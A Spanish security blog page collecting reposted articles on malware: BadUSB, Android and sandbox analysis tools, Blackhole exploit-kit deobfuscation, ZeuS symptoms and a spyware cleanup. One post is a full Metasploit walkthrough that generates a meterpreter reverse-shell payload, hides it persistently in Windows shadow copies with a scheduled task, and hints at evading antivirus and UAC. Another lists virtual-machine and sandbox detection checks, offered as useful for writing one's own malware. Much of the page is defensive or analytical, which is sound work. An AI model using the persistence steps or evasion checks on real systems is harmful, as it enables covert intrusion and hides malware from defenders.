Banner 1

Mostrando entradas con la etiqueta malware. Mostrar todas las entradas
Mostrando entradas con la etiqueta malware. Mostrar todas las entradas

El verdadero peligro de BadUSB

0 comentarios
En la última BlackHat USA se presentó una técnica de ataque llamada BadUSB que está dando mucho que hablar y que aunque no es totalmente nueva si ha sacado a la luz pública unos riesgos muy importantes para el mundo de la seguridad en relación a los dispositivos USB.

Un ataque de BadUSB consiste básicamente en reprogramar un dispositivo USB de uso común (normalmente un pendrive basado en algún microcontrolador reprogramable cuya arquitectura sea conocida) para que actúe de forma maliciosa.

Usar dispositivos USB para actividades maliciosas ya era una técnica ampliamente conocida, como fue comentado en la propia charla, por ejemplo:

  1. Los ataques de CD-ROM virtual con Autorun mediante un pendrive de tipo USB U3.
  2. Los ataques con teclado malicioso mediante el uso de herramientas de tipo USB Rubber Ducky o Teensy.


Los creadores de BadUSB proponen además de estas, otras tácticas bastante interesantes. Por ejemplo configurar un dispositivo USB para que se comporte como una tarjeta de red Ethernet y asigne por DHCP una nueva puerta de enlace o un nuevo servidor DNS para el equipo y así poder interceptar su tráfico posteriormente.

Todos estos ataques implican por si solos un riesgo para los equipos, pero existen ya múltiples medidas de seguridad para evitarlos.

El propio hecho de reprogramar un dispositivo USB legítimo para que actúe de forma maliciosa tampoco es nuevo, ya en 2013 se presentó una técnica para reprogramar el firmware de una Webcam y deshabilitar la luz que avisa cuando está grabando y además menciona la posibilidad de aprovechar esta actualización de firmware para llevar a cabo otras tareas maliciosas.


Pero extender esta técnica a cualquier dispositivo USB cuyo firmware cuente con capacidad para ser actualizado, es lo que empieza a convertir esta idea en peligrosa.

Y lo que acaba convirtiendo a un ataque BadUSB en algo realmente temible es la posibilidad de utilizar de forma combinada estas técnicas y reprogramar varios dispositivos USB legítimos aparentemente inocuos para convertirlos en un ataque combinado.

Estos ataques además conllevan una serie de dificultades técnicas a la hora de su detección:
  1. La infección es más difícil de detectar en los equipos ya que el dispositivo modificado es algo externo al sistema principal.
  2. Algunos dispositivos USB son portables de forma que pueden ser utilizados para extender la infección.
  3. La infección se mantendrá incluso aunque se formatee el disco duro o se cambie la CPU del equipo.
Algunos dispositivos USB son incluso internos al PC (p.e. la mayoría de webcams, lectores de SD, lectores de smartcard, biométricos que van en los portátiles) y por tanto es más fácil conseguir la persistencia en ellos porque están fijos.

Combinando esta técnica con distintos tipos de dispositivos, podemos encontrar escenarios de ataque bastante serios, como por ejemplo utilizar un pendrive como el vector de entrada inicial para una infección y utilizar algún dispositivo que esté conectado de forma permanente al equipo (por ejemplo una webcam o una impresora) como vector de permanencia de la infección. Por ejemplo: haciendo que el dispositivo detecte cuando el equipo está arrancando para convertirse en un pendrive bootable que cargue una versión modificada del sistema operativo.

Se podría incluso hacer que trabajen en modo anti-forense, si el microcontrolador lo permite, el dispositivo podría pasar a funcionar en su estado original o borrarse a sí mismo una vez conseguida la infección.

Es por tanto probable que en poco tiempo empecemos a ver casos reales del uso combinado de varios dispositivos infectados de este tipo funcionando como implantes, al estilo de los sugeridos en el catálogo ANT de la NSA.

Fuente: http://blog.s21sec.com/2014/10/el-verdadero-peligro-de-badusb.html

Ocultar payloads persistentes en volúmenes 'shadow copy' de Windows

0 comentarios

En Windows el servicio Volume Shadow Copy (VSS) crea copias de seguridad (snapshots) cada vez que hay un cambio en el sistema para poder tener disponible y actualizado un punto de restauración. Esta información de backup se almacena en volúmenes "ocultos" cuyas peculiaridades pueden ser aprovechadas con fines maliciosos, como por ejemplo ocultar artefactos de malware...

Recientemente se ha desarrollado un módulo de Metasploit para crear un payload persistente en un VSS en Windows 7. Se basa en el script VSSOwn de Tim Tomes y Mark Baggett y lo que hace es subir un ejecutable, crear un backup (VSS), borrarlo y ejecutar  \?\GLOBALROOT\/HarddiskVolumeShadowCopy\d{1,3}/%TEMP%\executable. 
La persistencia se consigue mediante una tarea programada (SCHTASK) o en una clave AUTORUN.

De momento para utilizarlo lo podemos descargar de Github:
root@kali:~# wget https://raw.github.com/MrXors/metasploit-framework/f345414832fe0895e6ed89e70eb57f72a103aeaf/modules/exploits/windows/local/vss_persistence.rb
root@kali:~# mv vss_persistence.rb /usr/share/metasploit-framework/modules/post/windows/manage/

Para probar generaremos un payload de prueba:
root@kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.177.128 LPORT=80 X > payload_prueba.exe

A continuación ejecutaremos la consola de Metasploit y recargaremos los módulos:
root@kali:~/# msfconsole -L
msf > reload_all
[*] Reloading modules from all module paths...
                          ########                  #
                      #################            #
                   ######################         #
                  #########################      #
                ############################
               ##############################
               ###############################
              ###############################
              ##############################
                              #    ########   #
                 ##        ###        ####   ##
                                      ###   ###
                                    ####   ###
               ####          ##########   ####
               #######################   ####
                 ####################   ####
                  ##################  ####
                    ############      ##
                       ########        ###
                      #########        #####
                    ############      ######
                   ########      #########
                     #####       ########
                       ###       #########
                      ######    ############
                     #######################
                     #   #   ###  #   #   ##
                     ########################
                      ##     ##   ##     ##
                            http://metasploit.pro


Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- type 'go_pro' to launch it now.

       =[ metasploit v4.7.1-2013100901 [core:4.7 api:1.0]
+ -- --=[ 1207 exploits - 728 auxiliary - 202 post
+ -- --=[ 314 payloads - 30 encoders - 8 nops

Lo siguiente será obtener una sesión meterpreter. Hay que tener en cuenta que nuestro nuevo módulo es de post-explotación y que necesitamos que el usuario de la sesión tenga privilegios administrativos. En caso contrario tendremos que hacer uso de otro módulo para la escalación de privilegios local.
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 80
LPORT => 80
msf exploit(handler) > set LHOST 192.168.177.128
LHOST => 192.168.177.128
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.177.128:80 
[*] Starting the payload handler...

[*] Sending stage (770048 bytes) to 192.168.177.1
[*] Meterpreter session 1 opened (192.168.177.128:80 -> 192.168.177.1:4222) at 2013-10-16 06:07:56 -0100

meterpreter > getuid
Server username: PANDORA\vmotos
meterpreter > sysinfo
Computer        : PC102-23DRW
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64 (Current Process is WOW64)
System Language : es_ES
Meterpreter     : x86/win32

Ahora dejaremos en background la sesión para finalmente ejecutar el exploit:
meterpreter > background 
[*] Backgrounding session 1...


msf exploit(handler) > sessions

Active sessions
===============

  Id  Type                   Information                   Connection
  --  ----                   -----------                   ----------
  2   meterpreter x86/win32  PANDORA\vmotos @ PC102-23DRW  192.168.177.128:80 -> 192.168.177.1:5350 (192.168.177.1)
  
msf exploit(handler) > use post/windows/manage/vss_persistence 

msf exploit(vss_persistence) > show options

Module options (exploit/windows/manage/vss_persistence):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DELAY    1                yes       Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.
   EXECUTE  true             yes       Run the EXE on the remote system.
   RPATH                     no        Path on remote system to place Executable. Example: \\Windows\\Temp (DO NOT USE C:\ in your RPATH!)
   RUNKEY   false            yes       Create AutoRun Key for the EXE
   SCHTASK  false            yes       Create a Scheduled Task for the EXE.
   SESSION                   yes       The session to run this module on.
   VOLUME   C:\              yes       Volume to make a copy of.


Exploit target:

   Id  Name
   --  ----
   0   Windows 7

msf exploit(vss_persistence) > set SCHTASK true
SCHTASK => true

msf exploit(vss_persistence) > set session 1
session => 1

msf exploit(vss_persistence) > exploit

[*] Started reverse handler on 192.168.177.128:4444 
[*] Checking requirements...
[*] Starting Volume Shadow Service...
[*] Volume Shadow Copy service not running. Starting it now...
[*] Volume Shadow Copy started successfully.
[*] Uploading payload...
[*] Creating Shadow Volume Copy...
[*] ShadowCopy created successfully
[*] Finding the Shadow Copy Volume...
[*] Deleting malware...
[*] Executing \Windows\Temp\svhost69.exe...
[*] Sending stage (770052 bytes) to 192.168.177.128
[*] Creating Scheduled Task...
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.134:4917) at 2013-10-16 06:15:32 -0100

Y ya lo tenemos.

pd. Si habéis seguido estos pasos ya os habréis dado cuenta: en el momento de su ejecución el motor de análisis en tiempo real del AV detectará el payload. Para evitarlo se podría montar el volumen oculto (VSC) como si fuera una unidad de red o seguir otras técnicas. Además necesitarás desactivar/evadir UAC...

Fuente:http://www.hackplayers.com/2013/10/ocultar-payloads-persistentes-en-vss.html

Detección de máquinas virtuales y sandboxes

0 comentarios
Uno de los comportamientos más comunes del malware actual es que trata de detectar que se está ejecutando en máquinas virtuales o sandboxes. 

Esto se hace a menudo para dificultar el análisis y, por lo tanto, para ocultar su payload malicioso. 

Después de mucha investigación e ingeniería inversa, Joe Security LLC (créditos a antnet) ha publicado una serie de detecciones muy interesantes que seguro te interesarán si estás pensando en cocinar tu propia pieza de malware:


"Get VMware version (exceptions expected & handled using this privileged
instruction outside a VM):
 00409E27  IN EAX,DX  ; eax = 'VMXh', ecx = 0A, dx = 'VX'
 00409E27  IN EAX,DX  ; eax = 'VMXh', ecx = 0A, dx = 'VY'
 00409E27  IN EAX,DX  ; eax = 'VMXh', ecx = 0A, dx = '@' (0x40)

Illegal/unknown instruction (exception handled):
 00409EB1  DB 0F
 00409EB2  DB 3F
 00409EB3  DB 07
 00409EB4  DB 0B

Get content of descriptors:
 00409F22  SLDT WORD PTR SS:[EBP-28C]
 00409F29  STR WORD PTR SS:[EBP-290]
 00409F30  SGDT FWORD PTR SS:[EBP-44]
 00409F34  SIDT FWORD PTR SS:[EBP-3C]

Get content of segment registers (exceptions on undefined regs handled).

FindFirstFile/FindNextFile on [system directory]\drivers and check names:
 hgfs.sys
 vmhgfs.sys
 prleth.sys
 prlfs.sys
 prlmouse.sys
 prlvideo.sys
 prl_pv32.sys
 vpc-s3.sys
 vmsrvc.sys
 vmx86.sys
 vmnet.sys

GetModuleHandle. Check if DLL loaded:
 dbghelp
 SbieDll
 api_log
 dir_watch
 pstorec

GetUserName. Check for:
 currentuser
 sandbox
 honey
 vmware
 nepenthes
 snort
 andy
 roo

GetComputerName. Check if: "TU-4NH09SMCG1HC"

GetModuleFileName (this exe name). Check if: "InsideTm"

RegQueryValueEx on
"HKLM\HARDWARE\Description\System\\SystemBiosVersion". Check if: "vbox"

RegQueryValueEx on
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\\ProductID" and 
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\\ProductID". Check
ProductID for:
 55274-640-2673064-23950
 76487-644-3177037-23510
 76487-337-8429955-22614

RegEnumKey on "HKLM\SOFTWARE\Microsoft". Check names for:
 Hyper-V
 VirtualMachine

RegEnumKey on "HKLM\SYSTEM\ControlSet001\Services". Check names for:
 vmicheartbeat
 vmicvss
 vmicshutdown
 vmicexchange
 vmci
 vmdebug
 vmmouse
 VMTools
 VMMEMCTL
 vmware
 vmx86
 vpcbus
 vpc-s3
 vpcuhub
 msvmmouf
 VBoxMouse
 VBoxGuest
 VBoxGuest
 VBoxSF
 xenevtchn
 xennet
 xennet6
 xensvc
 xenvdb

RegQueryValueEx on "HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus
0\Target Id 0\Logical Unit Id 0\\Identifier". Check Identifier for:
 vmware
 vbox

RegEnumKey on:
"HKLM\HARDWARE\ACPI\DSDT"
"HKLM\HARDWARE\ACPI\FADT"
"HKLM\HARDWARE\ACPI\RSDT"
Check names for:
 VBOX
 xen

GetProcAddress kernel32.CreateProcessA and check for patch: E9 (jmp).
Note that CreateProcessW is not checked.

Snapshot of running processes. Check for:
 vmware
 vmount2
 vmusrvc
 vmsrvc
 VBoxService
 vboxtray
 xenservice
 joeboxserver
 joeboxcontrol
 wireshark
 sniff_hit
 sysAnalyzer
 filemon
 procexp
 procmon
 regmon
 autoruns

GetAdaptersInfo. Checks MAC address for 0x0569, 0x0C29, 0x1C14 and 0x5056. The all belong to VMWare MAC address prefixes.

GetProcAddress. Check if kernel32 or ntdll export the function:
"wine_get_unix_file_name".

FindFirstFile/FindNextFile on "C:\*.*". Check if any file or directory
name is a 60 char hex string (unique to the PC) used for encoding." 
 

Lista de sitios web que recopilan malware

0 comentarios
En KernelMode.info, un foro para la exploración del modo-kernel que os recomiendo que visitéis, podemos encontrar una lista de recursos que sirven malware y que pueden interesarnos para obtener muestras para un posterior análisis. Usarlos con precaución:

http://www.hackplayers.com

ARE: VM para el análisis de malware de Android

0 comentarios
ARE (Android Reverse Engineering) es una máquina virtual con un interesante set de herramientas para analizar distintos artefactos de malware de Android en un entorno seguro.

La imágen desarrollada por un grupo francés del Honeynet Project corre en VirtualBox y comprende 10 herramientas, incluyendo Androguard y el SDK de Android:

Web del proyecto: http://redmine.honeynet.org/projects/are/wiki

Fuente:http://www.hackplayers.com/2011/11/are-vm-para-el-analisis-de-malware-de.html

Buster Sandbox Analyzer: instalación y primeros usos

0 comentarios

Buster Sandbox Analyzer (en adelante BSA) es un analizador de comportamiento de malware de tipo sandbox, una herramienta diseñada para analizar los procesos y los cambios realizados en el sistema (ficheros, registro, puertos) para evaluar si son sospechosos.
 
Se basa en el  proyecto Sandboxie y además de evaluar malware ejecutándose en el sandbox, podemos utilizarlo para ver en detalle los cambios que realiza cualquier software al instalarse.



 
Esto incluye la posibilidad de analizar cualquier tipo de fichero (EXE, BAT, VBS, PDF, XLS, DOC, ...) si puede ejecutarse dentro de Sandboxie con la posibilidad de añadir librerías (DLL, OCX…) o instalar otro software adicional si es necesario.

 
Otra de las características a destacar de BSA es que oculta los procesos de sandboxie y otros para que los crypters y RATs que tienen activado el módulo anti-sandbox no impidan su análisis. Para ello hookea a nivel de kernel ZwQuerySystemInformation, por lo que es posible que el fichero BSA.SYS sea detectado por algunos antivirus como un rootkit (actualmente devuelven falsos positivos Rising, Sophos y TrendMicro).


Su autor, Pedro López, lleva casi 3 años desarrollándola y ha contactado con nosotros para que le echáramos un vistazo y viéramos qué aspectos consideráramos que podrían mejorarse. Es decir, funciones que no estén implementadas y que puedan servir para mejorar la calidad de los análisis, ya sea del estático o del dinámico, e identificación de comportamientos maliciosos que actualmente no estén incorporados.
 
Por esta razón y para que participéis en este análisis, vamos a compartir con vosotros dos entradas sobre esta potente herramienta: esta entrada en la que hablaremos básicamente de su instalación y primeros usos y una segunda que publicaremos más adelante con el análisis de un artefacto de malware para ver los resultados y proponer mejoras.

 
Como siempre, os agradeceríamos enormemente cualquier experiencia o comentario al respecto.


Pre-requisitos

 
-    Sandboxie
-    WinPCap (es recomendable su instalación pero, si por alguna oscura razón no quieres instalarlo, puedes copiar PACKET.DLL y WPCAP.DLL desde la carpeta PCAP al directorio donde se sitúa BSA.EXE).

 
Instalación

 
BSA es portable, así que simplemente descargaremos el rar de la última versión y lo descomprimiremos en el directorio que deseemos. Por ejemplo en d:\BSA:
 

 
Dentro del directorio podemos ver varios ficheros de configuración importantes:

 
    BSA.DAT: puntos de control de ficheros y entradas del registro
    config\APIExclude.TXT: APIs excluídas
    config\MA-Calc.ini: Umbrales de cálculo de riesgo
    config\MA-RATINGS.INI: Puntuación de seguridad para cada evento
    config\RegistryExclude.TXT: Entradas de registro excluídas
    config\WindowMessages.TXT: Mensajes de Windows excluídos
 

A continuación es recomendable crear un sandbox específico y dedicado para BSA (Control de Sandboxie -> Sandbox -> Crear Nueva Sandbox):

 
Ahora será necesario que añadamos las siguientes opciones en la configuración del nuevo sandbox creado, para ello modificaremos el fichero de configuración sandboxie.ini con nuestro editor favorito (Control de Sandboxie -> Configurar -> Editar Configuración):

 
-    InjectDll= D:\bsa\LOG_API\64\LOG_API64_VERBOSE.DLL: se inyecta una DLL en cada proceso del sandbox (en mi caso trabajo con 64 bits) para hookear funciones que procesan y envían “Mensajes de Windows” a la aplicación BSA (que se ejecuta fuera del sandbox).

       Las librerías ‘verbose’ registrarán las operaciones de ficheros y el registro. Aumentará el detalle pero disminuirá la velocidad de ejecución de BSA.

-    OpenWinClass=TFormBSA: especifica el nombre de la clase de BSA (fuera del sandbox) que puede ser accedida por el proceso ejecutándose en el sandbox.

-    NotifyDirectDiskAccess=y: con esta opción Sandboxie notificará cuando un programa está intentando obtener acceso fuera del sandbox (mensaje SBIE1313).

-    ProcessLimit1=20
     ProcessLimit2=30 (opcional): limita el número de procesos que Sandboxie permite en un sandbox a la vez. ProcessLimit1 indica el número de procesos a partir del cual el siguiente se ejecutará a partir de una pausa de 10 segundos. ProcessLimit2 indica el número a partir del cual el siguiente será terminado. Es decir, con la configuración propuesta sólo se permitirán 30 procesos concurrentes y a partir del proceso número 20 tardarán en ejecutarse 10 segundos.

-    SbieCtrl_HideMessage =*: Desactiva los mensajes de Sandboxie.

Al final, el fichero de configuración quedará de la siguiente manera:

[BSA]

ConfigLevel=7
AutoRecover=y
Template=AutoRecoverIgnore
Template=Firefox_Phishing_DirectAccess
Template=LingerPrograms
Template=BlockPorts
RecoverFolder=%Desktop%
RecoverFolder=%Favorites%
RecoverFolder=%Personal%
RecoverFolder=%{374DE290-123F-4665-9164-39C4925F467B}%
BorderColor=#00FFFF,ttl
DropAdminRights=y
Enabled=y
BoxNameTitle=y
FileRootPath=D:\Sandbox\BSA
InjectDll=D:\bsa\LOG_API\64\LOG_API64_VERBOSE.DLL
OpenWinClass=TFormBSA
NotifyDirectDiskAccess=y
ProcessLimit1=20
ProcessLimit2=30
SbieCtrl_HideMessage=*


Una vez modificado, procederemos a recargar la configuración de Sandboxie (Control de Sandboxie -> Configurar-> Recargar Configuración):



Y ya podemos ejecutar el programa principal (BSA.exe) indicando la ruta del Sandbox creado para el BSA:

 
Uso

 
Podemos comenzar un análisis pulsando el botón correspondiente de la ventana anterior, y os recomendamos también integrarlo con el shell de Windows para que aparezca la opción de ‘Analizar con BSA’  al pulsar el botón derecho del ratón:


 
También es posible ejecutar BSA de forma automática desde la línea de comandos, indicando el tiempo (-s) y el directorio (-f) o URL (-url) a procesar. Por ejemplo:

BSA.EXE -s 30 -f C:\TEST
BSA.EXE -s 30 – url http://www.hackplayers.com
BSA.EXE -s 30 -url C:\TEST\URLS.TXT (fichero conteniendo una lista de URLs)

¡Así que ya tenemos todo preparado para empezar a analizar malware!
No olvidéis mandarnos vuestro feedback si os animáis a probarlo o si ya lo habéis hecho. Eso sí, recordar que Sandboxie, el entorno que utiliza BSA, está diseñado para evitar específicamente cambios en el disco, es decir, con la instalación por defecto NO evitaremos que por ejemplo un determinado tipo de malware envíe información a Internet y, aunque esto es muy difícil, tampoco estaremos a salvo si llegamos a probar un malware que es capaz de evadir la seguridad del sandbox.
En cualquier caso, recomendamos probar BSA en un equipo destinado específicamente para ello (sin credenciales personales de ningún tipo).


Fuente:
http://www.hackplayers.com/2012/08/buster-sandbox-analyzer-install-usage.html

Cómo subir aplicaciones maliciosas a Google Play (análisis y evasión de Google Bouncer)

0 comentarios
Jon Oberheide y Charlie Miller dieron una interesante charla en la SummerCon de este año bautizada como 'Dissecting The Android Bouncer' en la que demostraban que el Google Bouncer con el que Google escanea aplicaciones en su tienda Google Play es inseguro.

Para los que no habíais leído nada antes acerca de este Bouncer, deciros que se trata de un sandbox que emula un entorno Android y ejecuta la aplicación durante 5 minutos para una análisis dinámico de la misma. Este entorno se ejecuta en la infraestructura de Google y permite acceso externo, así que ambos investigadores enviaron varias aplicaciones falsas para registrar procesos y lanzar una conexión inversa contra la instancia QEmu en los servidores de Google.

Gracias a esto pudieron recopilar información suficiente para obtener un "fingerprint" del Bouncer. Y, ¿para qué?. Pues está claro. Para subir una aplicación capaz de analizar el entorno donde se está ejecutando y enmascararse si detecta que está siendo evaluada por este sistema.

En el siguiente video se puede observar todo el proceso y demás datos que recolectaron de las instancias de Google Bouncer:

 

Fuente: http://www.hackplayers.com/2012/06/como-subir-aplicaciones-maliciosas.html

Exploit Kit - Blackhole

0 comentarios
La industria del malware se va modernizando y buscan nuevas vías para infectar a los usuarios.
En casos de malware nos encontraríamos por ejemplo con un mensaje de SPAM que contendría un enlace a una página web, que, o bien descargaría un PDF con malware aprovechando una versión vulnerable del visor PDF, o bien por ejemplo, explotaría una vulnerabilidad del navegador.
Una de las "armas" que usan los cibercriminales se trata de los Exploits kits, estos pack de exploits se compran en el "mercado negro" y contienen los exploits para poder infectar a los usuarios. Está claro que cuanto mas vale el Exploit Kit que se está pagando, mas funcionalidades e incluso con mas frecuencia se actualizarán los Exploits que contiene el kit.
¿Cual es el "modus operandi"?
A grandes rasgos existen dos maneras de infectar al usuario con un Exploit Kit. Una de esas maneras es colocar el Exploit Kit en un servidor, y realizar una campaña de SPAM, de manera que cuando el usuario legítimo reciba el correo y haga click en el enlace quede infectado por el Exploit Kit.
Evidentemente se usarán técnicas de ingeniería social para engañar al usuario e instarlo a que haga click en el enlace del correo.
Otra de las vías de infección es la de comprometer un host legítimo, y hacer que el usuario se infecte.
Será mucho más fácil que el usuario se infecte en un sitio legítimo, que no, mediante un correo de SPAM.
Vamos a centrarnos en el caso de cuando comprometen un servidor legítimo.


Tal y como muestra la imagen el usuario se conecta a la web legítima, la web carga, mediante un iframe o mediante un javascript el contenido malicioso.
Cuando se infecta el site legítimo con el exploit kit, una de las cosas que pueden hacer es NO colocarlo en el index.html o index.php, de esta manera sería muy sencillo y solo bastaría mirar el código fuente para ver el código incrustado.
Así que una de las maneras es colocar el código del exploit kit en un javascript y que la web principal lo cargue, de esta manera habiendo n javascript cargados sea un poco mas difícil saber donde está.
Si nos dirijimos a un caso práctico con un blackhole en un site legítimo, revisamos que en código fuente de la página principal no hay nada raro...
En cambio si revisamos las cabeceras nos encontramos con esto:

Al parecer la web legítima SI que carga el contenido malicioso, así que nos encontramos en un caso en el que el cibercriminal no ha colocado el código del Exploit Kit en la página principal. Revisando las peticiones que realiza de los JS, revisando cada uno de ellos, nos encontramos con esto:

Aunque nunca hayamos visto un código de exploit kit, sin duda esto nos tendría que hacer sospechar ¿No es así?
El código está ofuscado y tendremos que entender que función usa el cibercriminal para extraer la ofuscación y ver el código en claro.
Una de las opciones para entender mejor el código es verlo "ordenado". Para ello usaremos jsbeautifer
Colocamos el código en la web y nos vamos hacia lo que mas nos interesa :)


Podemos ver la función eval, que es la que se encargará de descifrar lo que no podemos ver en claro.
Ahora lo que haremos para no perder el tiempo es un pequeño truco para ver directamente el código en texto claro.
Lo que hacemos es guardar este código del blackhole en un fichero al que llamaremos malware.js
Y cambiamos una cosa del código, en la parte final donde pone

if (f)e(s);
Lo cambiaremos por:
if (f)alert(s);

Luego creamos un fichero que se llamará malware.html, en el invocamos al js que hemos creado antes.
Abrimos el fichero HTML, y nos aparecerá lo siguiente:
Ya tenemos el código en claro, de como Blackhole en este caso crea el dominio.
Espero que os haya gustado, echar un vistazo a este mundo tan interesante de los Exploits Kit

Fuente:
http://www.securitybydefault.com/2012/07/exploit-kit-blackhole.html

Los cinco y el misterio de la doble tilde

0 comentarios
Les comparto esta entrada que me parecio excelente.

________________________________________________________________________________

A mediados de 2011 el código fuente del troyano bancario ZeuS fue filtrado en Internet. Esto supuso que empezaran a aparecer forks del mismo, entre ellos Citadel y Ice IX.

ZeuS es conocido, dentro de ámbitos profanos de la seguridad informática de habla castellana, como el virus del doble acento o de la doble tilde. La causa reside en el efecto que provoca en aquellos equipos que utilizan la distribución hispana del teclado:
Cuando se intenta escribir una letra con tilde, en vez de incluirla en la letra de manera correcta hace algo como a´´ e imposibilita el escribir correctamente.


Sabiendo que Citadel y ICE IX son evoluciones de ZeuS, quisimos comprobar si seguía ocurriendo.

Windows utiliza mensajes para las comunicaciones entre aplicaciones, como por ejemplo:


WM_SYSCOMMAND
Relacionado con ventanas (se maximiza, se minimiza, se elige algo en el menú, etc.)
WM_DESTROY
Cuando una ventana está a punto de cerrarse.
WM_KEYDOWN
Cuando una tecla se pulsa
WM_KEYUP
Cuando una tecla se suelta.
WM_MOUSEMOVE
Cuando se haya movido el ratón.


Relacionado con el teclado hay un mensaje especial llamado WM_DEADCHAR, generado cuando pulsamos la tecla tilde.


MSDN (Remarks):
“A dead key is a key that generates a character, such as the umlaut (double-dot), that is combined with another character to form a composite character. For example, the umlaut-O character (Ö) is generated by typing the dead key for the umlaut character, and then typing the O key.”




Una traducción aproximada sería: “Un deadkey es una tecla que genera un carácter que combinado con otro carácter, genera un carácter compuesto.”


Viendo los hooks que utiliza Citadel, sospechamos del hook de TranslateMessage, ya que su función es convertir los mensajes de tecla-virtual en mensajes de caracteres.




Repasamos directamente el código fuente filtrado de ZeuS y vemos la función encargada de establecer el hook en la API TranslateMessage.




Por lo visto, los parámetros de TranslateMessage no son modificados. Sin embargo, hace uso de ToUnicode. Vamos a ver que dice Microsoft.


MSDN (Remarks):



“The parameters supplied to the ToUnicode function might not be sufficient to translate the virtual-key code because a previous dead key is stored in the keyboard layout.”




Su traducción sería: “Los parámetros enviados a la función ToUnicode, pueden no ser suficientes para traducir el código virtual de la tecla porque la deadkey anterior es almacenada en la capa del teclado.”
Googleando un poco nos encontramos con varios foros donde la gente anuncia problemas relacionados con hooks y el uso de ToUnicode.




Así que el problema viene de la función ToUnicode, que al tener una tilde en cola provoca el mal funcionamiento. Tanto Citadel como Ice IX hacen uso de la función, con lo que tampoco están exentos del problema, por lo que si un equipo empieza a mostrar el síntoma de la doble tilde, es muy probable que sea provocado por una infección de Citadel, Ice IX o algunos de los “bichos” de la familia de ZeuS.


Como muchos os habréis dado cuenta, el título de la entrada homenajea a la famosa saga de libros de "los cinco" escrita por Enid Blyton y que nos hizo disfrutar mucho a algunos de nosotros de niños.


Jozsef Gegeny y Mario González
S21sec ACSS
Fuente:http://blog.s21sec.com/2012/07/los-cinco-y-el-misterio-de-la-doble.html

Ghost: un honeypot para malware que se propaga mediante dispositivos USB

0 comentarios

Ghost es un proyecto de código abierto que implementa un honeypot para el malware que se propaga mediante dispositivos USB. Se trata de un proyecto desarrollado por Sebastian Poeplau para una tesis de licenciatura en la Universidad de Bonn en Alemania y ahora su desarrollo continua en Honeynet Project.

Básicamente el honeypot simula ser un dispositivo de almacenamiento USB esperando que el equipo sea infectado por el malware que utiliza este vector de propagación.

Por el momento, Ghost sólo es compatible con Windows XP de 32 bits. Se encuentra en una etapa temprana de desarrollo y se puede descargar una distribución binaria o compilar el código. Si optas por esta última opción necesitarás el kit de controladores de Windows y encontrarás instrucciones detalladas para hacerlo en su wiki.


Fuente:http://www.hackplayers.com/2012/06/ghost-un-honeypot-para-malware-que-se.html

Análisis de Malware - Spyware

0 comentarios
La historia comenzó básicamente cuando hoy busqué un programa que utiliza un sistema que salió hace muy poquito, el sistema GPU, y que fue distribuido por la empresa "ElcomSoft".

Éste software en principio mejora la velocidad de procesamiento utilizando la tecnología de Nvidia y su innovador sistema CUDA.

Buscando éste software me encontré con un enlace de una página de rapidshare, por norma general el software que sale de páginas como "www.vagos.es", "www.taringa.es", etc. me da bastante confianza, y pese a lo desconfiado que suelo ser con los ejecutables, me decidí a instalarlo en la máquina que utilizo normalmente, es decir, que no lo abrí dentro de una máquina virtual (VMware).

La sorpresa fue que al rato de instalarlo apareció un mensaje que ya había visto antes, pero que sinceramente no esperaba volverlo a encontrar ahora. Al principio durante los primeros segundos me mosqueé un poco, estaba haciendo varias cosas y me vi obligado a quitarlo de inmediato. Ya hace días que venía con la idea de hacer un artículo sobre malware así que me dije a mi mismo que ésta sería una buena oportunidad.

Dicho ésto mi objetivo es escribir mis experiencias, para que con ellas poco a poco podáis deshaceros del malware de vuestros PCs, y no conformes con ésto, saber que es lo que realmente está pasando.

Lo primero de lo que uno se da cuenta es que en el escritorio aparece un claro mensaje de que tienes un "Adware" y que pulses un botón para descargar un antivirus. Con un precioso mensaje "Warning! Spyware detected on your computer!".



Si intentamos arrancar el Administrador de Tareas nos dirá que está deshabilitado. Por lo tanto ya deducimos que ha modificado alguna parte del sistema para evitar que los usuarios inexpertos accedan a cerrar un proceso.




Nosotros no disponemos de él, el método para solucionar ésto es sencillo, simplemente se cambia un valor de ésta clave.

"Software\Microsoft\Windows\CurrentVersion\Policies\System"

Donde veréis rápidamente que es lo que se debe modificar. Aun así el sistema está comprobando periódicamente el valor de la clave y modificándolo constantemente (lo veremos al desensamblarlo).

Sin embargo Windows nos da algunas herramientas para salir del paso, entre otras utilizaremos "Tasklist" y "Taskkill". La primera para listar los procesos y la segunda para cerrarlos.

Aunque no se aprecie bien la imagen, ahí vemos directamente un ".exe" que si no es el encargado de todo ésto al menos eso quieren que creamos. Su nombre es "lphc37kj0e98k.exe" que en un principio puede parecer que es el culpable pero nunca hay que dar por hecho nada. Acordaros que solamente vemos lo que quieren que veamos.

Para analizar el sistema, y saber que es lo que tenemos dentro yo recomiendo un programa esencial. Y su nombre es "ProcessMonitor" es de la casa de "SysInternals" y es un programa fantástico, ya que con él puedes averiguar mucha información sobre cualquier ejecutable que esté corriendo y las operaciones que hace.

Lo podéis bajar aquí.

Nosotros podemos prescindir de ésta herramienta si no queda otra, pero si podemos utilizarla es obvio que vamos a hacerlo. Así que lo primero de todo es abrir y ver cuales son los procesos que tenemos abiertos y la información que podemos obtener. Para abrir el "Arbol de Processos" o bien pulsamos "CTRL + T" o bien lo ejecutamos desde el menú Tools.



Si os fijáis aquí tenemos de nuevo el archivo, con su PID (Identificador), sin embargo vamos a hacer una captura de cual es el ejecutable que anda detrás de los mensajitos, para ello existe un botón en el mismo ProcessMonitor con el cual marcando cualquier ventana automáticamente Sniffea todos los datos de ficheros, registro e Internet.

Por ello una vez sale cualquier mensaje tipo bocadillo recordando que tenéis un virus, y un gran etc. lo mejor es localizarlo con ésta función.


En el caso de encontrarnos con un mensaje así.


Ya haríamos uso del botón que activa en su filtro la opción de Incluir el Proceso indicándole la ventana.



